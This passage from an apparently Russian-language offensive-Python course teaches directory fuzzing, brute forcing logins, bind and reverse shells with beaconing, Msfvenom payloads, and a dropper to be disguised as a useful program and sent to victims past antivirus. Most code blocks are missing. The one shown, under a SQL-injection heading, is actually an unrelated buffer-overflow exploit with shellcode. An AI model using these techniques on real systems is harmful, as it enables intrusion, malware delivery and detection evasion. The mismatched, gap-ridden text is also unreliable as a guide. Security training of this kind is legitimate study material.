    Использование ключевого слова yield превращает функцию в генератор. Она читает одну строку из файла, отдает ее в цикл, приостанавливает свою работу и ждет, пока цикл не запросит следующую строку. Это позволяет обрабатывать файлы любого размера, используя всего пару мегабайт оперативной памяти.

    Фаззинг веб-директорий

    Фаззинг (Fuzzing) — это техника тестирования, при которой в программу подаются недействительные, неожиданные или случайные данные с целью вызова сбоев или обнаружения скрытых функций.

    В контексте веб-пентеста фаззинг чаще всего применяется для поиска скрытых директорий и файлов на сервере (Directory Brute-forcing).

    Представьте, что вы тестируете сайт example.com. На главной странице нет ссылок на панель администратора. Но что, если она физически существует по адресу example.com/admin или example.com/backup.zip?

    Мы берем словарь с популярными названиями директорий и подставляем каждое слово в URL. Если сервер возвращает HTTP статус-код 404 Not Found, значит, такой страницы нет. Если возвращает 200 OK или 403 Forbidden (доступ запрещен, но файл существует) — мы нашли скрытый ресурс.

    !Схема работы веб-фаззера: скрипт берет слова из словаря, формирует HTTP-запросы к серверу и фильтрует ответы, отбрасывая ошибки 404 и сохраняя успешные коды 200.

    Напишем базовый фаззер директорий с использованием библиотеки requests.

    В этом скрипте мы используем параметр allow_redirects=False. Это критически важно. Многие веб-серверы настроены так, что при запросе несуществующей страницы они не выдают код 404, а перенаправляют пользователя на главную страницу с кодом 301 или 302. Если библиотека requests автоматически перейдет по редиректу, она получит код 200 от главной страницы, и наш скрипт выдаст ложноположительный результат (False Positive), решив, что скрытая директория существует.

    Перебор паролей веб-форм (Form-based Auth)

    Теперь объединим знания о словарях и HTTP-запросах, чтобы атаковать форму авторизации.

    Когда вы вводите логин и пароль на сайте и нажимаете «Войти», ваш браузер отправляет HTTP-запрос методом POST. Данные передаются в теле запроса. Чтобы написать брутфорсер, нам нужно узнать, как именно форма называет поля для логина и пароля.

    Для этого в реальном пентесте открывают инструменты разработчика в браузере (F12), переходят на вкладку «Сеть» (Network), вводят тестовые данные (например, admin / 123) и смотрят, какой запрос ушел на сервер.

    Допустим, мы выяснили, что сервер ожидает POST-запрос с параметрами username и password. Также мы заметили, что при вводе неверного пароля страница перезагружается, и в HTML-коде появляется текст "Invalid credentials".

    Напишем скрипт для перебора:

    Этот скрипт работает, но у него есть огромный недостаток — он синхронный. Скрипт берет пароль, отправляет запрос, ждет ответа от сервера (это может занять 100-500 миллисекунд), обрабатывает его и только потом берет следующий пароль. Большую часть времени процессор просто простаивает, ожидая ответа по сети (Network I/O).

    Ускорение: Многопоточность (Multithreading)

    Чтобы ускорить сетевые атаки в десятки раз, применяется многопоточность.

    Вместо того чтобы ждать ответа на первый запрос, мы запускаем сразу 50 потоков (threads). Каждый поток берет свой пароль из словаря и отправляет запрос независимо от других.

    В Python для удобной работы с потоками используется модуль concurrent.futures и класс ThreadPoolExecutor.

    Перепишем наш фаззер директорий с использованием пула потоков:

    Почему именно потоки (Threads), а не процессы (Processes)?

    В Python есть два способа распараллелить код: ThreadPoolExecutor (потоки) и ProcessPoolExecutor (процессы).

    Из-за особенности интерпретатора Python, называемой GIL (Global Interpreter Lock), несколько потоков не могут выполнять математические вычисления одновременно. Однако GIL отключается, когда поток ждет ответа от сети или жесткого диска.

    Поэтому правило для пентестера звучит так:

  • Если скрипт делает сетевые запросы (брутфорс, фаззинг, сканирование портов) — используем потоки (ThreadPoolExecutor). Они потребляют мало памяти и отлично справляются с ожиданием сети.
  • Если скрипт делает тяжелые вычисления (взлом хешей SHA-256 локально на процессоре) — используем процессы (ProcessPoolExecutor).
  • Разработка собственных инструментов перебора дает пентестеру гибкость. Готовые утилиты (например, Hydra или wfuzz) могут быть заблокированы антивирусами или системами защиты (WAF) по специфичным HTTP-заголовкам. Свой скрипт на Python позволяет внедрить любые обходы: случайные задержки между запросами, ротацию прокси-серверов или динамическую генерацию токенов защиты (CSRF), что делает вашу атаку невидимой для стандартных средств защиты.

    13. Программирование бинд-шеллов

    Программирование бинд-шеллов

    Представьте ситуацию: вы проводите аудит безопасности корпоративной сети. В ходе разведки вы обнаружили уязвимый веб-сервер, подобрали пароль к панели администратора или нашли возможность загрузить свой файл через форму загрузки изображений. Вы успешно выполнили свой код на удаленной машине. Что дальше?

    Разовое выполнение команд — это неудобно. Чтобы полноценно исследовать скомпрометированную систему, искать конфиденциальные файлы или продвигаться дальше по сети, пентестеру нужен постоянный, интерактивный доступ к командной строке сервера. Этот доступ называется шеллом (Shell). В этой теме мы разберем, как работают удаленные оболочки, чем отличаются различные подходы к их созданию, и напишем собственный инструмент для удаленного управления системой на Python.

    Что такое Shell и как он работает

    Shell (оболочка) — это программа, которая выступает посредником между пользователем и ядром операционной системы. Она принимает ваши команды, переводит их на понятный компьютеру язык, выполняет и возвращает результат.

    Когда вы открываете Командную строку в Windows (cmd.exe) или Терминал в Linux (/bin/bash), вы запускаете локальный шелл. Вы печатаете команду dir или ls, нажимаете Enter, и на экране появляется список файлов.

    В информационной безопасности наша цель — получить удаленный шелл. Это значит, что командная строка физически работает на компьютере жертвы, но ввод команд и вывод результатов перенаправляются по сети на компьютер атакующего.

    Анатомия стандартных потоков

    Чтобы понять, как запрограммировать удаленную оболочку, нужно разобраться, как операционная система работает с текстом. Любая программа в консоли имеет три стандартных потока данных:

  • STDIN (Standard Input) — стандартный ввод. Это канал, через который программа получает данные. Обычно он подключен к вашей клавиатуре.
  • STDOUT (Standard Output) — стандартный вывод. Канал для отправки успешных результатов работы. Обычно подключен к экрану монитора.
  • STDERR (Standard Error) — стандартный вывод ошибок. Отдельный канал для сообщений о сбоях. Тоже выводится на экран, но операционная система отличает его от обычного текста.
  • > Представьте программу как завод по переработке. STDIN — это конвейер, по которому поступает сырье (ваши команды). STDOUT — это конвейер, выдающий готовую продукцию (результат команды). А STDERR — это труба для сброса отходов (сообщения об ошибках).

    Создание удаленного шелла на Python сводится к простой задаче: нам нужно перенаправить эти три потока через сетевое соединение (сокет). Ввод с клавиатуры атакующего должен лететь по сети и попадать в STDIN программы на сервере, а STDOUT и STDERR сервера должны отправляться обратно по сети на экран атакующего.

    Концепция Bind Shell (Привязанная оболочка)

    В арсенале пентестера есть два основных типа удаленных оболочек: Bind Shell и Reverse Shell. Начнем с первого.

    Bind Shell (привязанная оболочка) — это архитектура, при которой скомпрометированная машина открывает сетевой порт и начинает «слушать» его, ожидая входящего подключения. Как только атакующий подключается к этому порту, сервер привязывает к этому сетевому соединению командную оболочку.

    Аналогия из жизни: вы тайно пробрались в здание (проэксплуатировали уязвимость), открыли заднюю дверь, повесили на нее табличку «Вход свободен» и ждете. Позже вы (или ваш напарник) просто подходите к этой двери снаружи и заходите внутрь. Здание — это сервер, задняя дверь — это открытый сетевой порт.

    Bind Shell против Reverse Shell

    Чтобы лучше понимать контекст, сразу обозначим разницу между двумя подходами.

    | Характеристика | Bind Shell (Привязанный) | Reverse Shell (Обратный) | | :--- | :--- | :--- | | Кто открывает порт? | Машина жертвы | Машина атакующего | | Кто к кому подключается? | Атакующий подключается к жертве | Жертва подключается к атакующему | | Знание IP-адреса | Атакующему нужен IP-адрес жертвы | Жертве нужен IP-адрес атакующего | | Отношение файрволов | Часто блокируется (входящий трафик запрещен) | Часто пропускается (исходящий трафик разрешен) |

    !Схема взаимодействия компьютеров: сверху Bind Shell (Атакующий подключается к открытому порту Жертвы), снизу Reverse Shell (Жертва сама инициирует подключение к открытому порту Атакующего через файрвол).

    Почему мы начинаем изучение именно с Bind Shell, если файрволы его часто блокируют? Во-первых, это классическая архитектура клиент-сервер, которую проще понять новичку. Во-вторых, Bind Shell незаменим во внутренних корпоративных сетях (Intranet), где между серверами часто нет жесткой фильтрации трафика. Если вы уже проникли в сеть компании и захватили один сервер, вы можете оставлять на соседних машинах Bind Shell-ы для удобного доступа.

    Разработка базового Bind Shell на Python

    Наш скрипт будет состоять из двух логических частей: сетевой слушатель (работа с сокетами) и механизм исполнения команд (взаимодействие с ОС). Мы объединим знания из предыдущих модулей курса.

    Шаг 1. Создание сетевого слушателя

    Для работы с сетью мы используем встроенную библиотеку socket. Нам нужно создать TCP-сокет, привязать его к определенному порту и перевести в режим прослушивания.

    Сетевые порты обозначаются целыми числами в диапазоне . Порты до 1024 требуют прав администратора (root), поэтому для нашего шелла мы выберем порт выше этого значения, например, 4444.

    Если вы запустите этот скрипт на одной машине, а с другой подключитесь к ней с помощью утилиты Netcat (nc <IP_жертвы> 4444), вы увидите приветственное сообщение, после чего соединение закроется. Сетевая часть работает.

    Шаг 2. Исполнение системных команд

    Теперь нам нужно научить скрипт выполнять команды, которые присылает атакующий. Для этого в Python используется модуль subprocess.

    Мы будем использовать функцию subprocess.run(). Она позволяет запустить системную команду, дождаться ее завершения и перехватить STDOUT и STDERR.

    Важное предупреждение о безопасности: Использование shell=True в обычных веб-приложениях — это огромная дыра в безопасности, ведущая к уязвимости Command Injection. Но поскольку мы пишем хакерскую утилиту, цель которой И ЕСТЬ выполнение произвольных команд, здесь это абсолютно оправдано и необходимо.

    Шаг 3. Объединение сети и операционной системы

    Теперь соединим сетевой слушатель и функцию выполнения команд в бесконечный цикл. Скрипт должен постоянно принимать данные, выполнять их и отправлять результат обратно, пока атакующий не пришлет команду exit.

    Этот код уже является полностью рабочим бэкдором. Если вы запустите его на целевой машине, вы сможете удаленно управлять ею. Однако у него есть один серьезный архитектурный недостаток, с которым сталкиваются все начинающие разработчики эксплойтов.

    Проблема команды cd и управление состоянием

    Попробуйте подключиться к нашему новому шеллу и выполнить команду смены директории: cd /tmp (или cd C:\ в Windows). Затем выполните команду pwd (или cd без аргументов в Windows), чтобы узнать текущую папку.

    Вы с удивлением обнаружите, что директория не изменилась. Вы остались в той же папке, откуда запустили Python-скрипт. Почему так происходит?

    Это классический вопрос на собеседованиях по информационной безопасности. Дело в том, как работает модуль subprocess.

    Когда вы вызываете subprocess.run("cd /tmp"), операционная система создает дочерний процесс (копию текущего окружения). Этот дочерний процесс честно меняет свою текущую директорию на /tmp. Но как только команда завершается, дочерний процесс уничтожается. А наш основной Python-скрипт (родительский процесс) остается там же, где и был. Команда cd не возвращает никакого текстового вывода, поэтому вы не видите ошибки, но и результата тоже нет.

    Чтобы исправить это, нам нужно перехватывать команду cd до того, как она попадет в subprocess, и менять директорию на уровне самого Python-скрипта с помощью встроенного модуля os.

    Модернизируем нашу функцию execute_command:

    Теперь наш Bind Shell поддерживает полноценную навигацию по файловой системе. Мы можем переходить по папкам, читать файлы и запускать другие скрипты.

    Ограничения Bind Shell и файрволы

    Несмотря на то, что мы написали рабочий инструмент, в реальном современном пентесте чистый Bind Shell применяется не так часто. Этому есть две веские причины:

  • NAT (Network Address Translation). Большинство компьютеров в мире не имеют публичных IP-адресов. Они находятся за домашними или корпоративными роутерами во внутренних сетях (адреса вида 192.168.x.x или 10.x.x.x). Вы физически не сможете подключиться к порту 4444 на компьютере жертвы через Интернет, потому что роутер просто отбросит ваш пакет, не зная, какому компьютеру внутри сети он предназначается.
  • Файрволы (Брандмауэры). Даже если сервер имеет публичный IP-адрес (например, это веб-сервер), системные администраторы настраивают жесткие правила фильтрации. По умолчанию файрволы блокируют весь входящий трафик, кроме явно разрешенного. Если это веб-сервер, файрвол пропустит подключения только на порты 80 (HTTP) и 443 (HTTPS). Попытка подключиться к порту 4444 будет заблокирована на уровне сети.
  • > Брандмауэры настроены таким образом, чтобы блокировать трафик, поступающий из менее надежной сетевой зоны (Интернет) в более надежную сетевую зону (внутренняя сеть). > > timcore.ru

    Именно поэтому хакеры и пентестеры придумали изящный обход этих ограничений — Reverse Shell (Обратную оболочку). В обратной оболочке мы меняем роли: компьютер атакующего открывает порт и ждет, а компьютер жертвы сам инициирует подключение. Поскольку файрволы редко блокируют исходящий трафик (ведь серверам нужно скачивать обновления и обращаться к внешним API), такое соединение беспрепятственно проходит сквозь защиту.

    В следующей теме мы перевернем нашу архитектуру с ног на голову и напишем полноценный Reverse Shell, который сможет пробивать корпоративные файрволы и работать через Интернет.

    14. Программирование реверс-шеллов

    Программирование реверс-шеллов

    В предыдущей теме мы создали Bind Shell — привязанную оболочку, которая открывает порт на скомпрометированной машине и ждет нашего подключения. Это отличный инструмент, но в реальных условиях он разбивается о суровую реальность корпоративных сетей.

    Представьте: вы нашли уязвимость на внутреннем сервере компании. Вы загружаете свой Bind Shell, он успешно запускается и открывает порт 4444. Вы потираете руки, открываете терминал, пытаетесь подключиться... и соединение зависает, а затем выдает ошибку Connection timed out.

    Вас заблокировал файрвол (Firewall, межсетевой экран).

    Системные администраторы настраивают сети так, чтобы блокировать любые входящие подключения извне, кроме строго разрешенных (например, портов 80 и 443 для веб-трафика). Ваш порт 4444 для файрвола — это нелегитимный трафик, который безжалостно отбрасывается.

    Чтобы обойти это ограничение, хакеры придумали элегантное решение, меняющее правила игры — Reverse Shell (Обратную оболочку).

    Концепция обратного соединения

    Reverse Shell — это тип удаленной оболочки, при котором не атакующий подключается к жертве, а жертва сама инициирует подключение к машине атакующего.

    Давайте разберем это на бытовой аналогии.

    Представьте строго охраняемое офисное здание (корпоративная сеть). На входе стоит суровый охранник (файрвол). Вы (атакующий) стоите на улице и хотите поговорить с сотрудником внутри (сервером).

    Если вы попытаетесь зайти внутрь без пропуска, охранник вас не пустит. Это блокировка Bind Shell. Но что, если сотрудник сам выйдет из офиса на улицу, чтобы поговорить с вами? Или просто позвонит вам со своего рабочего телефона? Охранник не станет его останавливать, ведь сотрудникам разрешено выходить наружу и совершать исходящие звонки. Это и есть принцип Reverse Shell.

    !Схема работы Reverse Shell: файрвол блокирует входящий трафик от атакующего, но пропускает исходящее соединение от скомпрометированного сервера к машине атакующего

    Почему файрволы пропускают Reverse Shell?

    Межсетевые экраны работают на основе правил фильтрации трафика. Существует два основных направления:

  • Ingress-трафик (Входящий) — данные, идущие из Интернета во внутреннюю сеть. Правило по умолчанию: «Запретить всё, что не разрешено явно».
  • Egress-трафик (Исходящий) — данные, идущие из внутренней сети в Интернет. Правило по умолчанию: «Разрешить всё» или «Разрешить популярные порты (80, 443, 53)».
  • Серверам внутри сети нужно скачивать обновления, обращаться к внешним API, синхронизировать время. Поэтому исходящий трафик редко блокируется полностью. Reverse Shell маскируется под обычный исходящий запрос, беспрепятственно проходя сквозь защиту.

    !Интерактивная симуляция работы файрвола, демонстрирующая разницу между Bind и Reverse shell

    Архитектура Reverse Shell

    При использовании обратной оболочки роли компьютеров меняются местами на сетевом уровне, хотя логически мы по-прежнему управляем жертвой.

    | Компонент | Роль в сети (Сокеты) | Что делает программа | Где запускается | | :--- | :--- | :--- | :--- | | Слушатель (Listener) | Сервер (bind, listen, accept) | Ждет входящего подключения, отправляет команды, выводит результат | Машина атакующего (Kali Linux) | | Пейлоад (Payload) | Клиент (connect) | Подключается к слушателю, принимает команды, выполняет их в ОС, отправляет результат | Машина жертвы (Скомпрометированный сервер) |

    Шаг 1. Подготовка слушателя (Listener)

    Прежде чем запускать скрипт на машине жертвы, нам нужно подготовить «посадочную площадку» на нашей машине — открыть порт и ждать подключения.

    Мы могли бы написать слушатель на Python (он выглядел бы почти так же, как сетевая часть нашего Bind Shell из прошлой статьи), но в профессиональном пентесте для этого используют стандартную утилиту Netcat (или ее продвинутые аналоги вроде rlwrap nc или Metasploit).

    Команда для запуска слушателя в терминале атакующего:

    Разберем флаги: -l (listen*) — переводит Netcat в режим прослушивания (работает как сервер). -v (verbose*) — подробный вывод (сообщит, когда кто-то подключится). -n (numeric*) — не использовать DNS-разрешение имен (ускоряет работу). -p 4444 (port*) — слушать на порту 4444.

    Теперь наша машина готова принимать обратные подключения.

    Шаг 2. Разработка кроссплатформенного Reverse Shell на Python

    Напишем скрипт, который будет выполняться на машине жертвы. Его задача — подключиться к нашему IP-адресу, получить команду, выполнить ее через subprocess и отправить результат обратно.

    Этот код будет очень похож на наш Bind Shell, но с перевернутой сетевой логикой.

    Этот скрипт универсален: он будет работать и на Windows, и на Linux. Однако у него есть недостаток — он довольно объемный. В реальном пентесте у вас редко есть возможность загрузить целый .py файл на сервер. Чаще всего вам нужно выполнить одну короткую команду через уязвимость (например, через Command Injection), которая запустит шелл.

    Для этого нам нужно познакомиться с магией файловых дескрипторов.

    Файловые дескрипторы и классический Unix One-Liner

    В Unix-подобных системах (Linux, macOS) существует фундаментальное правило: «Всё есть файл». Клавиатура — это файл, экран — это файл, и сетевое соединение (сокет) — это тоже файл.

    Когда программа запускается, операционная система автоматически открывает для нее три стандартных файловых дескриптора (File Descriptors, FD) — уникальных номера, указывающих на потоки данных:

    * FD 0 (STDIN) — Стандартный ввод (откуда программа читает данные, обычно клавиатура). * FD 1 (STDOUT) — Стандартный вывод (куда программа пишет успешный результат, обычно экран). * FD 2 (STDERR) — Стандартный вывод ошибок (куда программа пишет сообщения о сбоях, тоже экран).

    В Python есть встроенный модуль os, который содержит функцию os.dup2(fd1, fd2). Эта функция берет один файловый дескриптор и «копирует» его в другой.

    > Если мы создадим сетевой сокет (который получит свой номер, например, FD 3) и скопируем его в STDIN, STDOUT и STDERR, то операционная система сама перенаправит весь ввод и вывод командной оболочки прямо в сеть, без необходимости писать циклы while True и использовать subprocess.run.

    Именно на этом принципе основан самый популярный в мире Python Reverse Shell, который можно запустить одной строкой (One-Liner):

    Давайте разберем эту «абракадабру» на понятные части, переписав ее в нормальном виде:

    Как только вызывается subprocess.call(["/bin/sh", "-i"]), запускается системный терминал Linux. Но поскольку мы подменили его потоки ввода-вывода на наш сокет, этот терминал общается не с локальным монитором и клавиатурой, а с нашим Netcat через сеть!

    Это невероятно мощный и короткий код, но он работает только в Unix-системах. В Windows нет /bin/sh, а реализация os.dup2 работает иначе, поэтому для Windows-целей используют наш первый, кроссплатформенный вариант с циклом.

    Отказоустойчивость: Beaconing (Маячки)

    Представьте, что вы успешно проэксплуатировали уязвимость и запустили Reverse Shell. Но в этот момент у вас на Kali Linux моргнул интернет, или вы случайно закрыли окно с Netcat. Соединение разорвется, скрипт на сервере завершится с ошибкой, и вы потеряете доступ. Придется заново эксплуатировать уязвимость (что может быть шумно и привлечь внимание систем защиты — SOC).

    Профессиональные вредоносные программы (и инструменты пентестеров) используют технику Beaconing (от слова Beacon — маяк).

    Скрипт не должен просто падать при ошибке. Он должен уходить в спящий режим и периодически пытаться «достучаться» до сервера атакующего. Если атакующий снова запустит слушатель, скрипт подключится.

    Добавим эту логику в наш код с помощью модуля time:

    Теперь ваш скрипт работает как настоящий троян удаленного доступа (RAT). Вы можете закрыть свой Netcat, пойти выпить кофе, вернуться, снова запустить nc -lvnp 4444, и максимум через 10 секунд сервер жертвы сам к вам подключится.

    Интерактивность и модуль PTY

    Если вы попробуете поработать в полученном Reverse Shell, вы заметите некоторые неудобства:

  • Нет автодополнения команд по кнопке Tab.
  • Не работает история команд (стрелочки вверх/вниз выводят мусорные символы вроде ^[[A).
  • Если вы запустите интерактивную программу (например, текстовый редактор nano или vim), шелл зависнет или сломается.
  • Это происходит потому, что мы передаем сырой текст через сокет, а не эмулируем полноценный терминал (TTY).

    В Python есть встроенный модуль pty (Pseudo-Terminal Utilities), который позволяет создать виртуальный терминал. Если вы получили базовый шелл на Linux-машине, первая команда, которую должен выполнить профессиональный пентестер для «апгрейда» своей оболочки, выглядит так:

    Эта команда заставляет Python создать полноценный псевдотерминал и запустить в нем bash. После этого ваш Reverse Shell станет визуально неотличим от обычного SSH-подключения.

    В следующих статьях мы перейдем от написания самих шеллов к методам их доставки. Мы изучим, как автоматизировать поиск уязвимостей, писать эксплойты и генерировать пейлоады, чтобы заставить сервер жертвы выполнить наш Python-код.

    15. Генерация и доставка пейлоадов

    Генерация и доставка пейлоадов

    В прошлой теме мы написали собственный Reverse Shell на Python — скрипт, который заставляет сервер жертвы подключиться к нашей машине и передать нам управление командной строкой. Это мощный инструмент, способный обойти большинство файрволов. Но возникает закономерный вопрос: как заставить чужой сервер выполнить наш код? Мы ведь не можем просто попросить системного администратора запустить наш скрипт.

    Чтобы получить доступ к системе, хакеры используют связку из двух компонентов: эксплойта и пейлоада. Понимание разницы между ними и умение автоматизировать их создание — это тот самый рубеж, который отделяет начинающего специалиста от профессионала.

    Анатомия атаки: Эксплойт и Пейлоад

    В информационной безопасности эти два термина часто путают, хотя они выполняют совершенно разные задачи.

    Эксплойт (Exploit, от англ. «использовать») — это программа или фрагмент кода, который использует конкретную уязвимость в системе (например, ошибку в коде веб-сервера), чтобы нарушить её нормальную работу.

    Пейлоад (Payload, полезная нагрузка) — это тот самый код, который выполняется после успешного срабатывания эксплойта. Наш Reverse Shell из прошлой статьи — это классический пейлоад.

    Давайте разберем это на бытовой аналогии. Представьте, что сервер — это сейф с кодовым замком. * Уязвимость — это заводской дефект замка, из-за которого он открывается, если сильно ударить по нему молотком. * Эксплойт — это сам удар молотком. * Пейлоад — это рука грабителя, которая проникает в открытый сейф и забирает деньги.

    Удар молотком (эксплойт) сам по себе не крадет деньги. Он лишь открывает дверь. А рука (пейлоад) не может проникнуть внутрь, пока дверь закрыта. Они работают только в паре.

    !Схема взаимодействия эксплойта и пейлоада: от взлома до получения контроля

    Генерация пейлоадов: знакомство с Msfvenom

    Писать пейлоады с нуля для каждой операционной системы и архитектуры процессора — невероятно долгая и сложная задача. В профессиональном пентесте для этого используют готовые генераторы. Самый популярный из них — утилита Msfvenom, входящая в состав фреймворка Metasploit.

    Msfvenom умеет генерировать полезную нагрузку практически для любой мыслимой ситуации: от макросов для Microsoft Word до бинарных файлов для Linux и скриптов на Python, PHP или Java.

    Базовый синтаксис команды выглядит так:

    Разберем параметры: * -p — выбор типа полезной нагрузки (например, windows/x64/meterpreter/reverse_tcp). LHOST (Listen Host*) — IP-адрес вашей машины (куда пейлоад должен подключиться). LPORT (Listen Port*) — порт на вашей машине. * -f — формат выходного файла (например, exe, elf, py, raw).

    Пример генерации Reverse Shell на Python в одну строку:

    Проблема «плохих байтов» (Bad Characters)

    При доставке пейлоада через уязвимости переполнения буфера (Buffer Overflow) пентестеры сталкиваются с серьезной проблемой. Пейлоад передается в память программы в виде последовательности байтов. Некоторые из этих байтов программа может воспринять как управляющие команды и прервать чтение.

    Самый известный «плохой байт» — это нулевой байт \x00 (Null-byte). В языках программирования семейства C/C++ этот байт означает конец строки.

    Если ваш пейлоад содержит байт \x00, уязвимая программа прочитает код ровно до этого места, решит, что строка закончилась, и отбросит остальную часть. Эксплойт не сработает.

    > Нулевой байт в машинном коде — это как точка в середине предложения. Если вы скажете: «Открой дверь. и вынеси сейф», исполнитель услышит только «Открой дверь», а остальное проигнорирует.

    Чтобы избавиться от плохих байтов, Msfvenom использует энкодеры (Encoders). Энкодер берет ваш пейлоад и математически изменяет его (например, с помощью операции XOR), убирая все запрещенные символы. К пейлоаду прикрепляется крошечный декодер, который восстанавливает исходный код уже внутри памяти жертвы перед самым выполнением.

    В Msfvenom это делается ключами -e (выбор энкодера) и -b (список плохих байтов):

    Архитектура доставки: Stager и Stageless

    Когда мы эксплуатируем уязвимость, у нас часто есть жесткие ограничения по размеру. Например, поле ввода на сайте может принимать не более символов. Полноценный Reverse Shell со всеми функциями шифрования и обхода антивирусов может весить несколько мегабайт. Как впихнуть невпихуемое?

    Для решения этой проблемы пейлоады делят на два типа:

  • Stageless (Без стейджера) — монолитный пейлоад. Весь код (сетевое подключение, выполнение команд, шифрование) находится в одном большом файле. Если он помещается в уязвимость — отлично. Если нет — атака провалится.
  • Staged (Со стейджером) — разделенный пейлоад. Состоит из двух частей.
  • Стейджер (Stager) — это крошечный кусочек кода (часто менее 100 байт). Его единственная задача — поместиться в уязвимость, выполниться, подключиться к серверу атакующего, скачать основную, большую часть пейлоада (которая называется Stage) прямо в оперативную память и передать ей управление.

    Это похоже на высадку десанта: сначала сбрасывают маленькую разведгруппу (стейджер), которая захватывает плацдарм и подготавливает посадочную полосу для тяжелых транспортных самолетов с основной армией (стейдж).

    Разработка Python-дроппера

    В современных атаках (особенно при фишинге) часто используется концепция Дроппера (Dropper). Дроппер — это программа-носитель. Сама по себе она не содержит вредоносного кода (чтобы не злить антивирусы), но при запуске скачивает пейлоад из интернета и незаметно выполняет его.

    Напишем простой, но эффективный дроппер на Python. Его задача — скачать скомпилированный .exe пейлоад с нашего сервера, сохранить его во временную папку Windows и запустить в фоновом режиме.

    Этот скрипт можно скомпилировать в исполняемый файл с помощью библиотеки PyInstaller и отправить жертве под видом полезной программы. Антивирус при статическом анализе увидит лишь скрипт, который скачивает файл из интернета (что делают тысячи легитимных программ), и с высокой вероятностью пропустит его.

    Автоматизация инфраструктуры атакующего

    Теперь мы подошли к главной причине, почему пентестеру необходим Python.

    Чтобы наша атака с дроппером сработала, нам нужно выполнить три рутинных действия в разных окнах терминала:

  • Сгенерировать update.exe через Msfvenom.
  • Запустить веб-сервер, чтобы дроппер мог скачать этот файл.
  • Запустить Netcat-слушатель, чтобы принять обратное подключение от запущенного пейлоада.
  • Делать это вручную каждый раз — мучительно долго. Напишем Python-скрипт, который автоматизирует развертывание всей атакующей инфраструктуры в один клик.

    Запустив этот скрипт, вы за несколько секунд подготавливаете полноценную боевую станцию. Вам остается только доставить дроппер жертве. Как только дроппер будет запущен, он обратится к вашему Python HTTP-серверу, скачает update.exe, запустит его, и в вашем терминале (где работает Netcat) появится командная строка Windows жертвы.

    В профессиональной среде для еще более глубокой автоматизации используют специализированные библиотеки, такие как pymetasploit3 (позволяет управлять Metasploit через RPC-сервер напрямую из Python) или фреймворки вроде Pawn для инъекций пейлоадов в память. Однако логика под капотом остается точно такой же: генерация, обход ограничений, доставка и прослушивание.

    В следующей статье мы перейдем к этапу пост-эксплуатации: что делать, когда вы уже получили Reverse Shell, как закрепиться в системе и автоматизировать сбор паролей и конфиденциальных данных с помощью Python.

    16. Написание скриптов для эксплуатации уязвимостей

    Написание скриптов для эксплуатации уязвимостей

    Успешный взлом системы редко выглядит как магия из голливудских фильмов, где хакер яростно стучит по клавиатуре и через секунду получает доступ к Пентагону. В реальности это методичный процесс поиска слабого места и точечного воздействия на него. Когда слабое место найдено, наступает этап эксплуатации. И именно здесь навыки программирования на Python превращают начинающего специалиста в профессионала, способного создавать собственные инструменты, а не зависеть от чужих.

    От ручного тестирования к автоматизации

    Представьте, что вы проводите аудит безопасности веб-приложения. Вы нашли форму авторизации и подозреваете, что она уязвима к SQL-инъекции. Вы вводите кавычку ', нажимаете «Войти» и получаете ошибку базы данных. Уязвимость подтверждена. Что дальше?

    Чтобы извлечь из базы данных логин и пароль администратора, вам нужно отправить сотни, а иногда и тысячи специально сформированных запросов, анализируя ответы сервера. Делать это вручную через браузер — задача на несколько недель. Использовать готовые сканеры (например, SQLmap) — отличная идея, но что если сервер использует нестандартную логику, хитрый файрвол (WAF) или требует специфических HTTP-заголовков, которые сканер не умеет подставлять?

    В этот момент возникает необходимость написать собственный эксплойт (Exploit) — программу, которая автоматизирует использование найденной уязвимости.

    > Эксплойт — это скрипт, который доставляет полезную нагрузку (пейлоад) к уязвимому компоненту системы, заставляя его выполнить непредусмотренные разработчиком действия.

    Если уязвимость — это сломанный замок на двери, а пейлоад — это грабитель, то эксплойт — это отмычка, которая открывает этот конкретный замок, чтобы грабитель мог проникнуть внутрь.

    !Схема взаимодействия: от скрипта к выполнению кода

    Анатомия скрипта-эксплойта

    Независимо от того, какую уязвимость вы эксплуатируете (переполнение буфера в сетевом сервисе или внедрение команд в веб-форму), профессиональный эксплойт на Python всегда состоит из четырех логических блоков:

  • Инициализация и настройка: получение параметров от пользователя (IP-адрес цели, порт, путь к файлу).
  • Подготовка данных: формирование вредоносного запроса (кодирование символов, сборка байтовых строк, обход фильтров).
  • Доставка: отправка данных по сети (через HTTP-запрос или сырой TCP-сокет).
  • Обработка результата: получение ответа от сервера, извлечение нужной информации или переход в интерактивный режим (если был запущен Reverse Shell).
  • Рассмотрим эти этапы на практике, начав с самого популярного вектора атак — веб-приложений.

    Эксплуатация веб-уязвимостей: автоматизация SQL-инъекций

    Веб-приложения общаются по протоколу HTTP. Для взаимодействия с ними в Python используется библиотека requests. Допустим, мы нашли уязвимость типа Blind SQL Injection (Слепая SQL-инъекция). При такой уязвимости сервер не выводит данные из базы на экран, но по его реакции (например, по времени ответа или изменению длины страницы) можно понять, истинно или ложно наше SQL-выражение.

    Это похоже на игру в «Данетки». Мы спрашиваем базу данных: «Первая буква пароля администратора — это 'A'?». Если страница загружается нормально — ответ «Да». Если выдает ошибку 404 — ответ «Нет».

    Напишем скрипт, который автоматизирует эту игру и посимвольно подберет пароль.

    python import socket import time import sys

    Настройки цели

    TARGET_IP = "192.168.1.100" TARGET_PORT = 21

    1. Формируем полезную нагрузку

    Точное количество байт до перезаписи регистра EIP (определяется заранее при анализе уязвимости)

    OFFSET = 1052

    Мусорные данные для заполнения буфера (буква 'A')

    JUNK = b"A" * OFFSET

    Адрес инструкции JMP ESP в памяти уязвимой программы (в обратном порядке байт - Little Endian)

    Например, адрес 0x625011AF превращается в \xaf\x11\x50\x62

    EIP = b"\xaf\x11\x50\x62"

    NOP-sled (инструкции "нет операции", чтобы процессор плавно "скатился" к нашему коду)

    NOPS = b"\x90" * 32

    Сам вредоносный код (например, сгенерированный через msfvenom Reverse Shell)

    Здесь для примера представлена заглушка

    SHELLCODE = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

    Собираем финальный эксплойт

    EXPLOIT = JUNK + EIP + NOPS + SHELLCODE

